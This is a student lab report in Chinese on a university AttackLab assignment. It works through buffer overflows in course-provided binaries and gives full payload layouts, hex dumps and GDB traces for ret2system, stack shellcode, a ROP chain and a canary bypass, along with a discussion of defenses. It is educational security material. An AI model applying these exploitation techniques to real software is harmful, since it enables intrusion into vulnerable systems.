复旦大学 计算机系统基础（2026 年秋季学期）

Lab3：AttackLab 实验报告

缓冲区溢出 · 栈空间执行 · ROP · Canary

姓名	许波婧
学号	25303060076
实验仓库	ICS-26Fall-FDU/AttackLab
完成日期	2026 年 10 月 28 日

> 本地验证结果：4 / 4 payload 全部通过（`payload.py`、`payload_dark.py`、`payload_rop.py`、`payload_canary.py`）。`attack/` 下二进制 SHA-256 与模板 workflow 记录一致，未做任何修改。

本报告按实验文档的任务顺序组织：先建立调用栈与缓冲区溢出的直观认识，再依次完成 ret2system、固定栈 shellcode、ROP 和 Canary 绕过四个任务；最后讨论 ASLR、NX 与 Stack Protector 的防御思想。所有地址、寄存器和内存内容均来自本机 WSL2 中的 GDB 实测。

1 实验环境与目标

实验在 Windows 11 的 WSL2 Ubuntu 环境中完成，使用模板仓库提供的 64 位 ELF 二进制，不重新编译 `attack/` 下的任何文件。主要工具如下：

项目	版本 / 说明
操作系统	WSL2，Linux 6.18.33.2-microsoft-standard-WSL2，x86_64
编译器（仅用于 aslr.c）	gcc (Ubuntu) 15.2.0
调试器	GNU gdb 17.1（原生 GDB；用 `bt`、`info registers`、`x` 达到 GEF 同等观察目的）
Python	Python 3.14.4（payload 生成脚本仅使用标准库 `struct`、`sys`）
目标程序	`attack/dark-calc`、`attack/dark-calc-nx`、`attack/dark-log`、`attack/malware`

表 1 实验环境

三个目标程序的保护属性由 `readelf` 与反汇编确认：它们都是 `ET_EXEC`（Non-PIE），因此代码段地址固定；`dark-calc-nx` 与 `dark-log` 的 `GNU_STACK` 为 `RW`，栈不可执行；`dark-calc` 虽然 `GNU_STACK` 也是 `RW`，但 `init_fixed_stack()` 用 `mmap(..., PROT_EXEC)` 额外映射了一块固定地址、可读可写可执行的栈，这是任务二特意营造的“楚门的世界”。

二进制	类型	栈	Canary	本实验中的用途
`dark-calc`	ET_EXEC	固定地址 + 可执行（自定义 mmap）	无	任务一、任务二
`dark-calc-nx`	ET_EXEC	随机地址 + NX	无	任务三 ROP
`dark-log`	ET_EXEC	随机地址 + NX	有	任务四 Canary

表 2 目标程序的保护属性

关键符号地址如下（均由 `nm -n` 与反汇编确认）：

符号	dark-calc	dark-calc-nx	dark-log
`input`	0x401977	0x401868	0x4016d6
`eval`	0x4019d7	0x4018c8	—
`grade_eval`	0x401a87	0x401978	0x401677
`main`	0x401ac3	0x4019b4	0x4017f5
`command_buf`	0x6030d0	0x602090	—

表 3 本实验用到的关键符号地址

2 程序的调用栈

这一节回答实验文档“观察栈帧 input”的五个问题。调试时在 input 的 0x40197f 处下断点，该地址位于函数 prologue 之后、第一条 printf 参数准备指令之前。

2.1 input 是谁调用的？

在 GDB 中执行 b *0x40197f、r 后，bt 的输出为：

```
(gdb) bt
#0  0x000000000040197f in input ()
#1  0x0000000000401ad1 in main ()
```

代码 1 input 的调用栈（trace）

因此 input 由 main 调用。main 中的调用点在 0x401acc，返回地址是 0x401ad1。此时寄存器与栈的关键内容为：rip = 0x40197f、rbp = 0x721000800fe0、rsp = 0x721000800fd0。由于 dark-calc 使用固定栈，这些地址在多次运行中保持不变。

2.2 停下位置之前的三条指令与 $rbp 的来源

0x40197f 之前的三条指令是 input 的 prologue：

地址	机器码	汇编	作用
0x401977	55	push rbp	把调用者 main 的 rbp 保存到栈上
0x401978	48 89 e5	mov rbp, rsp	让 rbp 指向当前栈帧底部
0x40197b	48 83 ec 10	sub rsp, 0x10	为 16 字节的 expression 分配空间

表 4 input 的 prologue

断点处 $rbp = 0x721000800fe0，而 [$rbp] = 0x721000800ff0。这个值来自 main：main 在 0x401ac4 执行 mov rbp, rsp 后，rbp = 0x721000800ff0；input 的 push rbp 把这个值压到 0x721000800fe0，随后 mov rbp, rsp 才让 rbp 指向这个保存槽。因此 [$rbp] 是“调用者的栈帧基址”，也是 leave 时用来恢复 main 现场的值。

2.3 $rbp + 8 处是什么？

断点处 [$rbp + 8] = 0x401ad1。查看 disas main 可以确认，0x401ad1 正是 call input 之后的那条指令：

```
0x401ac3 <main>:        push   rbp
0x401ac4 <main+1>:      mov    rbp,rsp
0x401ac7 <main+4>:      mov    eax,0x0
0x401acc <main+9>:      call   0x401977 <input>
0x401ad1 <main+14>:     mov    eax,0x0
0x401ad6 <main+19>:     call   0x4019d7 <eval>
```

代码 2 main 中 input 的调用点

所以 `[$rbp + 8]` 是 `input` 的返回地址：函数返回后，CPU 会回到 `main+14` 继续执行。

2.4 哪条指令把值写入了 `$rbp + 8`?

在 `main` 的调用点之前（`0x401ac7`）下断点，单步执行 `mov eax,0` 与 `call input`，观察 `rsp` 和栈内容：

```
Breakpoint 2, 0x0000000000401ac7 in main ()
-- before call --
rip = 0x401ac7   rbp = 0x721000800ff0   rsp = 0x721000800ff0
0x721000800ff0: 0x00007fffffffe4a0  0x0000000000401c1f

-- after call 0x401977 <input> --
rip = 0x401977   rbp = 0x721000800ff0   rsp = 0x721000800fe8
0x721000800fe8: 0x0000000000401ad1  0x00007fffffffe4a0

-- after input's push rbp --
rip = 0x401978   rbp = 0x721000800ff0   rsp = 0x721000800fe0
0x721000800fe0: 0x0000721000800ff0  0x0000000000401ad1
```

代码 3 从 main 单步进入 input 时的栈变化

答案是 `main+9` 处的 `call 0x401977 <input>`（地址 `0x401acc`）。`call` 先把下一条指令的地址 `0x401ad1` 压栈（`rsp` 从 `0x...0ff0` 减到 `0x...0fe8`），再跳转到 `input`。紧接着 `input` 的 `push rbp` 又压入 `0x...0ff0`，所以等 `rbp` 被设为 `0x...0fe0` 后，`rbp + 8 = 0x...0fe8` 正好就是 `call` 压入返回地址的位置。

2.5 `call`、prologue、`leave`、`ret` 的作用

把断点设在 `input` 的 `leave`（`0x4019d5`），继续单步，得到下表。表中地址均来自同一次运行。

阶段	关键指令	rsp	rbp	栈 / 控制流变化
main 调用前	—	0x...0ff0	0x...0ff0	`[rsp]` 是 main 保存的 rbp，`[rsp+8]` 是 __wrap_main 的返回地址
执行 call	`call input`	0x...0fe8	0x...0ff0	压入返回地址 `0x401ad1`，跳到 input
prologue	`push rbp`	0x...0fe0	0x...0ff0	保存 main 的 rbp `0x...0ff0`
prologue	`mov rbp,rsp`	0x...0fe0	0x...0fe0	rbp 指向当前帧底部
prologue	`sub rsp,0x10`	0x...0fd0	0x...0fe0	分配 16 字节缓冲区，buffer = rbp-0x10
执行 leave	`leave`	0x...0fe8	0x...0ff0	rsp=rbp，弹出保存的 rbp；局部变量被丢弃
执行 ret	`ret`	0x...0ff0	0x...0ff0	弹出 `0x401ad1` 到 rip，回到 main+14

表 5 call / prologue / leave / ret 的完整栈变化

归纳如下：

- `call`：把返回地址（下一条指令的地址）压栈，`rsp -= 8`，然后跳转到被调函数；它是控制流转移和“返回地址入栈”的来源。
- prologue：`push rbp` 保存调用者的帧基址，`mov rbp, rsp` 建立当前帧，`sub rsp, n` 为局部变量分配空间。
- `leave`：`mov rsp, rbp` 丢弃局部变量，`pop rbp` 恢复调用者的帧基址；它是 prologue 的逆操作。
- `ret`：从栈顶弹出返回地址到 `rip`，`rsp += 8`，控制流回到调用者。

这四步合起来保证了函数调用可以嵌套：每一层都有自己的 `rbp` 和返回地址，返回时按后进先出的顺序恢复。也正因为返回地址就放在缓冲区高地址方向，`gets` 的越界写才能直接改写它。

3 缓冲区溢出与长度实验

3.1 MAXLEN + 1 中的 +1

`expression` 声明为 `char expression[MAXLEN + 1]`，其中 `MAXLEN = 15`，所以数组是 16 字节。C 字符串以 `\0` 结尾；15 个有效字符加 1 个终止符正好 16 字节。`gets` 在读完一行后会自动补上这个 `\0`，因此它实际写入的字节数总是“输入字符数 +1”。这也就解释了为什么输入 20 个字符会写 21 字节、输入 32 个字符会写 33 字节。

3.2 20 与 32 个字符的实测

在 `gets` 返回后（`0x40199f`）下断点，观察 `rbp-0x10` 开始的栈：

输入	gets 写入	被覆盖的区域	GDB 观察到的关键值	运行结果
20 × 'A'	21 字节	16 字节 buffer + 保存 rbp 的低 5 字节	`[rbp] = 0x0000720041414141`，`[rbp+8]` 仍为 `0x401ad1`	返回地址未变，程序继续运行，退出码 0
32 × 'A'	33 字节	16 字节 buffer + 8 字节保存 rbp + 8 字节返回地址	`[rbp] = 0x4141414141414141`，`[rbp+8] = 0x4141414141414141`	`ret` 跳到非法地址，SIGSEGV，退出码 139

表 6 不同长度输入对栈帧的破坏

20 字符时，`gets` 把保存的 `rbp` 改成了 `0x0000720041414141`，但返回地址 `0x401ad1` 还在。`input` 的 `leave` 会把这个坏值弹回 `rbp`，不过 `main` 随后调用 `eval` 时，`eval` 的 prologue 会重新建立自己的 `rbp`，所以程序没有立刻崩溃。实际运行输出为：

```
Enter an expression (length up to 15):
0
Enter an expression (length up to 15):
42_is_The_Answer
```

代码 4 20 字符输入的实际输出（stdout 缓冲导致 “0” 出现在提示符之前）

这里的 `0` 来自 `eval` 拼出的 `echo $((AAAAAAAAAAAAAAA))`：bash 的算术扩展把未定义变量名当作 0。`eval` 只取前 15 个字符，所以 20 个 A 中有 15 个进入了表达式。之后程序读到 EOF，`input` 打印 `42_is_The_Answer` 并 `exit(0)`，因此坏掉的 `rbp` 没有机会被用来返回。

32 字符时，保存的 `rbp` 和返回地址都被 8 个 `0x41` 覆盖，`ret` 直接跳到 `0x4141414141414141`，进程收到 SIGSEGV。由于 stdout 是缓冲的，崩溃前没有任何输出，终端只看到退出码 139。

3.3 超量数据到底写到了哪里？

`gets(expression)` 从 `rbp-0x10` 开始向高地址写，写入顺序是：

```
低地址                                                          高地址
+------------------+------------------+------------------+------------------+
| expression[16]   | 保存的 rbp (8B)  | 返回地址 (8B)    | main 的栈帧 ...  |
| rbp-0x10         | rbp+0x00         | rbp+0x08         | rbp+0x10         |
+------------------+------------------+------------------+------------------+
        ^ 正常写入上限        ^ 20 字符越界到这里    ^ 32 字符越界到这里
```

代码 5 缓冲区与相邻栈数据

这正是栈缓冲区溢出的本质：`gets` 不知道目标缓冲区有多大，只要输入还没遇到换行或 EOF，就会一直向高地址写，依次覆盖保存的 `rbp`、返回地址，甚至调用者的栈帧。

4 任务一：利用缓冲区漏洞执行 ./malware

4.1 攻击思路

由第 2 节可知，`input` 的缓冲区在 `rbp-0x10`，保存的 `rbp` 在 `rbp`，返回地址在 `rbp+8`。因此填充 16 字节缓冲区、8 字节假 `rbp` 后，接下来的 8 字节就是 `ret` 要弹出的地址。

程序本身已经提供了执行命令的代码：`eval()` 在 `0x401a6b` 处执行 `mov edi, 0x6030d0`（`command_buf` 的地址），紧接着 `call system@plt`。如果直接把返回地址改成 `0x401a6b`，就跳过了 `eval` 的 prologue 和拼接 `echo $((...))` 的逻辑，直接以 `command_buf` 为参数调用 `system()`。

还需要让 `command_buf` 里恰好是 `./malware`。`input` 在 `gets` 之后会执行 `strcpy(command_buf, expression)`；`strcpy` 遇到第一个 `\0` 就停止。因此只要在缓冲区开头写 `./malware\0`，后面的填充字节就不会被复制进 `command_buf`。

4.2 payload 布局

偏移	长度	内容	作用
0	9	`./malware`	要执行的命令
9	1	`00`	让 `strcpy` 在此停止
10	6	`A` × 6	填满 16 字节 buffer
16	8	`B` × 8	覆盖保存的 rbp（值不重要）
24	8	`6b 1a 40 00 00 00 00 00`	覆盖返回地址为 `0x401a6b`

表 7 payload.py 的布局（共 32 字节）

```
00000000: 2e2f 6d61 6c77 6172 6500 4141 4141 4141  ./malware.AAAAAA
00000010: 4242 4242 4242 4242 6b1a 4000 0000 0000  BBBBBBBBk.@.....
```

代码 6 payload.py 的十六进制

4.3 为什么能成功

`input` 的 `ret` 从 `rbp+8` 弹出 `0x401a6b`，CPU 直接跳到 `eval+0x94`。此时：

- `command_buf = "./malware"`，因为 `strcpy` 在 `\0` 处停止；
- `rdi` 即将被 `mov edi, 0x6030d0` 设置为 `command_buf` 的地址；
- `call system@plt` 会执行 `/bin/sh -c "./malware"`。

GDB 在 `0x401a6b` 处确认了这一点：

```
Breakpoint 1, 0x0000000000401a6b in eval ()
rip = 0x401a6b   rdi = 0x6030d0   rsp = 0x721000800ff0
(gdb) x/s 0x6030d0
0x6030d0 <command_buf>: "./malware"
```

代码 7 跳转到 system 调用点时的现场

4.4 验证

在 `attack/` 目录中运行（这样 `./malware` 才能被 shell 找到）：

```
cd AttackLab
python3 payload.py > /tmp/payload.bin
(cd attack && ./dark-calc < /tmp/payload.bin)
```

代码 8 任务一的复现命令

stdout 中出现了 `malware` 打印的父进程链和成功信息：

```
### The bomb was triggered by the dark-calc process. ###
### You have successfully detonated the bomb! Congratulations! ###
```

代码 9 任务一的成功输出（节选）

`pstree` 显示 `dark-calc -> sh -c -- ./malware -> malware`，说明 `malware` 确实是由 `dark-calc` 进程触发的，而不是在外部单独运行。

> 说明：本 payload 在 `system()` 返回后会因为跳过了 `eval` 的 prologue 而崩溃（退出码 135）。这不影响任

务要求：成功信息已经在 `system()` 执行期间写入 stdout。模板 workflow 只检查 stdout 中是否包含指定字符串，因此该 payload 可以通过。若希望进程优雅退出，可以进一步构造一个假的 `eval` 栈帧，但这会让 payload 明显变长，且对本任务没有必要。

5 任务二：在固定栈上执行 shellcode

5.1 “楚门的世界”：固定且可执行的栈

`dark-calc` 的 `init_fixed_stack()` 在 `main` 之前执行，用 `mmap` 在固定地址建立了一块栈：

```
mmap(0x721000000000, 0x802000, PROT_READ|PROT_WRITE|PROT_EXEC,
     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED_NOREPLACE, -1, 0);
mprotect(base, 0x1000, PROT_NONE);          // 底部 guard page
mprotect(base + 0x801000, 0x1000, PROT_NONE); // 顶部 guard page
fixed_stack_top = base + 0x801000;
```

代码 10 init_fixed_stack 的关键逻辑

`0x100022` 是 `MAP_PRIVATE(0x2) | MAP_ANONYMOUS(0x20) | MAP_FIXED_NOREPLACE(0x100000)`，`7` 是 `PROT_READ | PROT_WRITE | PROT_EXEC`。顶部地址为 `0x721000000000 + 0x801000 = 0x721000801000`。`__wrap_main()` 在调用 `main` 前把 `rsp` 切到 这个值，因此整个调用链的栈地址是确定的。

逐层计算 `input` 的帧：

```
fixed_stack_top              = 0x721000801000
__wrap_main: call main       -> rsp = top - 0x08
main: push rbp               -> rbp = top - 0x10
main: call input             -> rsp = top - 0x18
input: push rbp              -> rbp = top - 0x20
input: sub rsp, 0x10         -> rsp = top - 0x30
input: buffer = rbp - 0x10   -> 0x721000800fd0
```

代码 11 input 缓冲区的固定地址推导

GDB 在 `input+8` 处实测 `rbp = 0x721000800fe0`、`buffer = rbp - 0x10 = 0x721000800fd0`，与推导一致。这个地址就是 shellcode 的落点，也是覆盖后的返回地址。

5.2 16 字节 shellcode

缓冲区只有 16 字节，shellcode 必须非常紧凑。目标只是调用 `grade_eval(4)`，然后让程序回到 `main` 正常结束。构造如下：

机器码	汇编	作用
`bf 04 00 00 00`	`mov edi, 4`	第一个参数 grade = 4
`68 c3 1a 40 00`	`push 0x401ac3`	把 main 压栈，作为 grade_eval 的返回地址
`68 87 1a 40 00`	`push 0x401a87`	把 grade_eval 压栈
`c3`	`ret`	弹出 grade_eval，进入函数

表 8 payload_dark.py 的 16 字节 shellcode

这里没有使用 `call`，因为栈地址 `0x721000800fd0` 与代码段 `0x401a87` 相距约 0x720f...，超出了 `call rel32` 的 ±2 GB 范围；`push imm32; ret` 可以先把 64 位目标地址压栈，再用 `ret` 跳过去，不受相对位移限制。

两次 `push` 还有一个附带好处：`input` 的 `ret` 之后 `rsp = 0x721000800ff0`（16 字节对齐），两次 push 把 `rsp` 变成 `0x...0fe0`，`ret` 弹出后又回到 `0x...0fe8`，即 `8 mod 16`。这正好满足 SysV ABI 对函数入口的栈对齐要求，`grade_eval` 内部的 `printf` 不会因为 `movaps` 对齐问题崩溃。

5.3 payload 与验证

偏移	长度	内容	作用
0	16	上述 shellcode	在栈上执行
16	8	`C` × 8	假 saved rbp
24	8	`d0 0f 80 00 10 72 00 00`	返回地址 = `0x721000800fd0`

表 9 payload_dark.py 的布局（共 32 字节）

GDB 在 `grade_eval` 入口处实测：`rdi = 4`、`rsp = 0x721000800fe8`（`8 mod 16`），并且 `[rsp] = 0x401ac3`，即 shellcode 预先压入的 `main` 返回地址。运行结果为退出码 0：

```
Enter an expression (length up to 15):

 Hope A will be your grade!
Enter an expression (length up to 15):
42_is_The_Ànswer
```

代码 12 任务二的成功输出

`grade_eval` 打印并 `fflush(stdout)` 后返回 `main`；`main` 再次调用 `input`，读到 EOF，打印 `42_is_The_Ànswer` 并 `exit(0)`，所以整个进程是正常结束的。

6 main 的机器码在内存中的布局

6.1 前三行汇编与机器码

在 `main`（`0x401ac3`）处下断点，用 `x/20xb` 查看内存，前三行汇编对应：

地址区间	机器码	汇编	长度
`0x401ac3`	`55`	`push rbp`	1
`0x401ac4` – `0x401ac6`	`48 89 e5`	`mov rbp, rsp`	3
`0x401ac7` – `0x401acb`	`b8 00 00 00 00`	`mov eax, 0`	5
`0x401acc` – `0x401ad0`	`e8 a6 fe ff ff`	`call 0x401977 <input>`	5

表 10 main 前几条指令的机器码与地址区间

内存中的原始字节为：

```
0x401ac3: 55 48 89 e5 b8 00 00 00 00 e8 a6 fe ff ff b8 00 00 00 00 e8 ...
```

代码 13 从 main 开始的内存字节

6.2 排列方式

x86-64 是按字节寻址的，指令在内存中按地址递增的方向连续存放。多字节的操作数/立即数采用小端序：例如 `mov eax, 0` 的立即数 0 是 `00 00 00 00`；`call` 的 32 位相对位移 `a6 fe ff ff` 表示 `0xfffffea6 = -0x15a`，从下一条指令 `0x401ad1` 回退 `0x15a` 正好是 `0x401977`。指令之间没有对齐填充，每条指令占用的字节数由指令编码决定。

用 `si` 逐条执行时，`rip` 的变化为：

```
0x401ac3  push rbp
0x401ac4  mov rbp,rsp
0x401ac7  mov eax,0x0
0x401acc  call 0x401977 <input>
0x401977  input: push rbp
```

代码 14 单步执行时 rip 的变化

这说明 `rip` 总是指向下一条要执行的指令；CPU 从 `rip` 指向的地址取指，按指令长度自增。从攻击视角看，代码段本质上也是可读的字节序列：只要地址固定、内容可控，就可以把数据当作指令执行。第 5 节的 shellcode 正是把这一思想搬到了栈上。

7 任务三：ROP

7.1 保护与约束

`dark-calc-nx` 的栈是 `RW`（不可执行），且栈地址随 ASLR 随机变化；但它是 Non-PIE，代码段固定加载在 `0x400000` 附近。因此不能像任务二那样跳到栈上执行，但可以把栈上的返回地址改成代码段中已有的短指令序列（gadget），用 `ret` 把它们串起来。

题目提示 gadget 位于 `0x4019d0–0x401ae3`，这段主要是 `__libc_csu_init`。线性反汇编看起来只有 `pop r15; ret`，但从字节中间开始可以找到未对齐的 gadget：

```
0x401a32:  41 5f     pop r15
0x401a34:  c3        ret

从 0x401a33 开始解释：
0x401a33:  5f        pop rdi
0x401a34:  c3        ret
```

代码 15 隐藏的 pop rdi; ret

因此 `0x401a33` 就是 `pop rdi; ret`，`0x401a34` 是单独的 `ret`。这比经典的 ret2csu 更短，不需要在内存中预置函数指针。

7.2 ROP 链

目标是调用 `grade_eval(4)`。链的设计如下：

偏移	内容	作用
0 – 15	A × 16	填满 buffer
16 – 23	D × 8	假 saved rbp
24	0x401a33	pop rdi; ret
32	4	弹出到 rdi，作为 grade
40	0x401a34	单独的 ret，用于栈对齐
48	0x401978	grade_eval
56	0x4019b4	main，给 grade_eval 一个合法返回地址

表 11 payload_rop.py 的 ROP 链（共 64 字节）

执行过程：input 的 ret 先跳到 pop rdi; ret，把 4 弹进 rdi；接着 ret 跳到对齐用的 ret；再 ret 到 grade_eval。grade_eval 检查 edi == 4，打印 Hope A will be your grade!，然后返回到 main。main 再次读输入，遇到 EOF 后打印 42_is_The_Answer 并正常退出。

7.3 为什么需要额外的 ret

SysV ABI 要求：执行 call 之前 rsp 是 16 字节对齐的，因此函数入口处 rsp % 16 == 8。本链中 input 的 rbp % 16 == 0，ret 之后 rsp = rbp + 16（0 mod 16）。若直接进入 grade_eval，入口 rsp % 16 == 0，glibc 的 printf 可能执行对齐的 movaps 而崩溃。在链中插入一个只含 ret 的 gadget，相当于把 rsp 再抬高 8 字节：

```
after input ret      rsp = rbp + 16   (0 mod 16)
pop rdi; ret          rsp = rbp + 24   (8 mod 16)
ret (alignment)       rsp = rbp + 32   (0 mod 16)
ret -> grade_eval     rsp = rbp + 40   (8 mod 16)  <-- ABI 正确
```

代码 16 栈对齐的逐步计算

GDB 在 grade_eval 入口实测 rsp = 0x7fffffffe3f8，低 4 位为 8，rdi = 4，与计算一致。

7.4 验证

```
Enter an expression (length up to 15):

 Hope A will be your grade!
Enter an expression (length up to 15):
42_is_The_Answer
```

代码 17 任务三的成功输出（退出码 0）

与任务二不同，任务三的栈地址每次运行都不同，但 ROP 链只依赖固定的代码地址，因此不受栈 ASLR 影响。这正是 Non-PIE + ROP 组合的危险之处：只要代码段地址固定，攻击者就能在二进制中反复寻找 gadget。

8 任务四：绕过 Canary

8.1 dark-log 的栈布局

dark-log 在编译时开启了 Stack Protector。input 的栈帧中，结构体 log_frame 的字段顺序被固定为 expression[128]、logMsg[128]、len、pad[8]，编译器又在其后放入 canary。反汇编得到的实际偏移如下：

对象	相对 rbp 的地址	相对 expression 的偏移	说明
expression[128]	rbp-0x120 … rbp-0xa1	0 … 127	gets 的目标
logMsg[128]	rbp-0xa0 … rbp-0x21	128 … 255	memcpy 的目标基址
len (int)	rbp-0x20 … rbp-0x1d	256 … 259	memcpy 的偏移，初值 0
pad[8]	rbp-0x1c … rbp-0x15	260 … 267	填充
对齐空隙	rbp-0x14 … rbp-0x9	268 … 279	编译器对齐
canary	rbp-0x8 … rbp-0x1	280 … 287	函数返回前与 fs:0x28 比较
保存的 rbp	rbp+0x0	288 … 295	—
返回地址	rbp+0x8	296 … 303	—

表 12 dark-log 的栈帧布局

gets 只受换行/EOF 限制，因此可以一直写到 len 甚至 canary；但 canary 在 rbp-8，一旦被改写，函数返回前就会调用 __stack_chk_fail。直接覆盖返回地址会同时覆盖 canary，行不通。

8.2 利用 len 把 memcpy 的目标“抬高”

关键在 input 的第二步：

```
gets(f.expression);                                    // 可越界写
memcpy(f.logMsg + f.len, f.expression, sizeof(f.expression)); // 128 字节
```

代码 18 两次写操作

f.len 位于 expression + 0x100，而 canary 位于 expression + 0x118。如果发送 0x104 字节，前 0x100 字节填满 expression 和 logMsg，接下来的 4 字节写入 len；gets 自动补的 \0 落在 expression + 0x104，不会碰到 canary。把 len 设为 0xa0 后：

```
destination = logMsg + len
            = (rbp - 0xa0) + 0xa0
            = rbp
```

代码 19 memcpy 目标正好落在保存的 rbp 上

于是 128 字节的 memcpy 从 expression 复制到 rbp，恰好覆盖保存的 rbp 和返回地址，而 canary（rbp-8）完全不在复制范围内。canary 校验因此通过，leave; ret 正常执行我们布置的 ROP 链。

8.3 payload 与验证

偏移	内容	作用
0 – 7	`E` × 8	假 saved rbp
8	`0x4018a3`	`pop rdi; ret`
16	`4`	grade
24	`0x4018a4`	对齐用 `ret`
32	`0x401677`	`grade_eval`
40	`0x4017f5`	`main`，合法返回地址
48 – 255	`F` × 208	填充到 `len` 之前
256 – 259	`a0 00 00 00`	把 `f.len` 设为 0xa0

表 13 payload_canary.py 的布局（共 0x104 = 260 字节）

GDB 在 `memcpy` 之后、canary 校验之前（`0x4017db`）停下，实测：

```
f.len (rbp-0x20): 160
canary (rbp-0x8): 0xc09754b654777100
fs:0x28:          0xc09754b654777100      <-- 未被改动
saved rbp / ret:  0x4545454545454545  0x00000000004018a3
```

代码 20 canary 完好、返回地址已被改写

随后程序越过 canary 校验，在 `grade_eval` 入口处 `rdi = 4`、`rsp % 16 == 8`，成功打印：

```
Enter a log message:

 Hope A will be your grade!
```

代码 21 任务四的成功输出

打印后 `grade_eval` 还会返回到 `main`，但本 payload 没有为 `main` 的最终返回准备合法地址，因此进程随后收到 SIGSEGV；成功信息在 `grade_eval` 内已经 `fflush(stdout)`，不影响检查。

8.4 怎样重排局部变量才能防御？

当前布局的问题不是 canary 本身，而是“可被线性溢出的字段（`len`）位于缓冲区高地址方向，且 canary 在更后面”。攻击者可以先改 `len`，再用第二次写绕过 canary。要防御，应让“溢出写”先碰到 canary，而不能先碰到影响写目标的元数据。具体可以：

- 把 `len` 放到 `expression` 的低地址方向，例如 `struct log_frame { int len; char expression[128]; char logMsg[128]; };`。这样 `gets(expression)` 向高地址溢出时永远碰不到 `len`，`memcpy` 的目标始终是 `logMsg + 0`。
- 把 `logMsg` 放到 `expression` 之前，并让 canary 紧跟在 `expression` 之后。这样任何想改写返回地址的线性溢出都必须先穿过 canary，被 Stack Protector 检测到。
- 更彻底的做法是不把长度作为可写的结构体字段：`memcpy` 的目标直接用固定偏移/常量，或把长度放在寄存器、只读变量中；同时用 `fgets(buf, sizeof buf, stdin)` 替代 `gets`，并开启 `-D_FORTIFY_SOURCE=2`。

为什么重排有效？因为栈溢出是单向的：从低地址缓冲区向高地址写。把控制写目标的元数据放在缓冲区低地址侧，它就位于溢出路径的“身后”，线性溢出无法触及；把 canary 紧贴缓冲区高地址侧，则任何继续向前的覆盖都会先破坏 canary。这两条合起来，才能让“改长度 + 二次写”的利用链失效。

9 ASLR、NX 与防御讨论

9.1 ASLR 的直观观察

编译并多次运行 `aslr.c`，每次打印的局部变量地址都不同：

```
0x7ffd7b987274
0x7ffde4281de4
0x7ffcb78aec14
0x7fff25bdc214
0x7ffc9e933ca4
0x7ffddc54ce84
0x7fff802e4f94
0x7fffb63d0884
```

代码 22 8 次运行 aslr 得到的栈地址

地址的低 12 位（页内偏移）保持不变，高位随机变化，说明随机化的是栈的基址。在 GDB 中连续两次运行，`&i` 都是 `0x7fffffffe3f4`，因为 GDB 为了方便调试默认关闭了 ASLR；这也解释了为什么在 GDB 里看到的栈地址不能直接硬编码到真实运行的 payload 中。

9.2 NX、Non-PIE 与 ROP 的关系

任务二之所以能成功，是因为 `dark-calc` 主动用 `mmap(PROT_EXEC)` 造了一个可执行栈，并且把它固定在 `0x721000000000`。真实系统通常不会这样做：栈是 `RW` 的，NX 位会阻止在栈上取指；同时 ASLR 会让栈地址每次运行都不同。任务三、四就是在这个更现实的设定下做的：

- `dark-calc-nx` 和 `dark-log` 的栈不可执行，因此不能放 shellcode；
- 两者都是 Non-PIE，代码段地址固定，因此可以在 `.text` 中找 gadget；
- `dark-log` 还加了 canary，于是需要先绕过 canary，再走 ROP。

这也解释了实验文档中“楚门的世界”的含义：任务二的成功依赖于两个被故意关闭/绕过的保护（栈可执行、栈地址固定），并不是现代系统上的通用攻击方式。

9.3 分层防御

从本实验可以看到，单一机制往往不够，实际系统需要多层防御：

机制	阻止的攻击	本实验中的体现
边界检查 / `fgets`	从源头阻止越界写	`gets` 是任务一至四的共同根源
Stack Protector (canary)	检测返回地址前的栈破坏	任务四的 `dark-log`
NX / 不可执行栈	阻止在栈上执行 shellcode	任务三、四的 `GNU_STACK RW`
ASLR / PIE	让绝对地址不可预测	任务三、四的栈随机；`aslr.c`
RELRO / 只读 GOT	阻止改写函数指针	本实验未重点涉及，但属于同类思路
代码审计 / 避免 `system`	减少命令注入面	`eval` 直接拼接用户输入

表 14 分层防御与本实验的对应关系

值得注意的是，canary、NX、ASLR 都不是“绝对安全”：任务四绕过了 canary，ROP 绕过了 NX，信息泄露可以绕过 ASLR。安全是一个持续对抗的过程，这也是实验文档“猫鼠游戏”想表达的意思。

10 总结

本实验从调用栈的建立过程出发，逐步展示了栈缓冲区溢出如何破坏返回地址，以及四种不同保护程度下的利用方式。主要结论如下：

- `call` 压入返回地址，prologue 保存调用者 `rbp` 并分配局部变量，`leave` 恢复 `rsp/rbp`，`ret` 弹出返回地址；返回地址位于缓冲区高地址方向，是栈溢出的直接目标。
- 任务一利用 `strcpy` 在 `\0` 处停止的特性，把 `./malware\0` 放进 `command_buf`，再跳到 `eval` 的 `system` 调用点，完成 ret2system。
- 任务二利用 `dark-calc` 故意映射的固定可执行栈，把 16 字节 shellcode 放在缓冲区，通过 `push imm32; ret` 调用 `grade_eval(4)`，并处理了栈对齐。
- 任务三在 NX + 栈 ASLR 下，使用 `0x401a33` 的 `pop rdi; ret` 与 `0x401a34` 的 `ret` 组成 ROP 链，调用 `grade_eval(4)`；额外的 `ret` 解决了 glibc `printf` 的对齐问题。
- 任务四利用 `gets` 改写 `len`，把 `memcpy` 的目标从 `logMsg` 抬到 `rbp`，在不碰 canary 的情况下覆盖返回地址；重排局部变量、把 `len` 放到缓冲区低地址侧、让 canary 紧贴缓冲区，可以防御这种利用。

最终四个 payload 均在本地通过，输出与模板 workflow 的期望字符串一致。实验报告中所有 GDB 现场均来自同一次可复现的运行；`attack/` 下的二进制保持原样，未做任何 patch。

本地验证结果：`payload.py → dark-calc`、`payload_dark.py → dark-calc`、`payload_rop.py → dark-calc-nx`、`payload_canary.py → dark-log` 四组均为 PASS，目标 stdout 中都出现了模板 workflow 要求的字符串。

附录 A 复现命令

```
cd AttackLab

python3 payload.py > /tmp/p1.bin
(cd attack && ./dark-calc < /tmp/p1.bin)

python3 payload_dark.py > /tmp/p2.bin
(cd attack && ./dark-calc < /tmp/p2.bin)

python3 payload_rop.py > /tmp/p3.bin
(cd attack && ./dark-calc-nx < /tmp/p3.bin)

python3 payload_canary.py > /tmp/p4.bin
(cd attack && ./dark-log < /tmp/p4.bin)
```

代码 23 四个任务的复现命令

GDB 观察调用栈时使用：

```
gdb -q ./attack/dark-calc
(gdb) set disassembly-flavor intel
(gdb) b *0x40197f
(gdb) run < /tmp/in1.txt
(gdb) bt
(gdb) info registers rip rbp rsp
(gdb) x/8gx $rbp-0x10
```

代码 24 观察 input 栈帧的 GDB 命令

附录 B payload 十六进制

```
payload.py (32 B)
2e2f 6d61 6c77 6172 6500 4141 4141 4141  ./malware.AAAAAA
4242 4242 4242 4242 6b1a 4000 0000 0000  BBBBBBBBk.@.....

payload_dark.py (32 B)
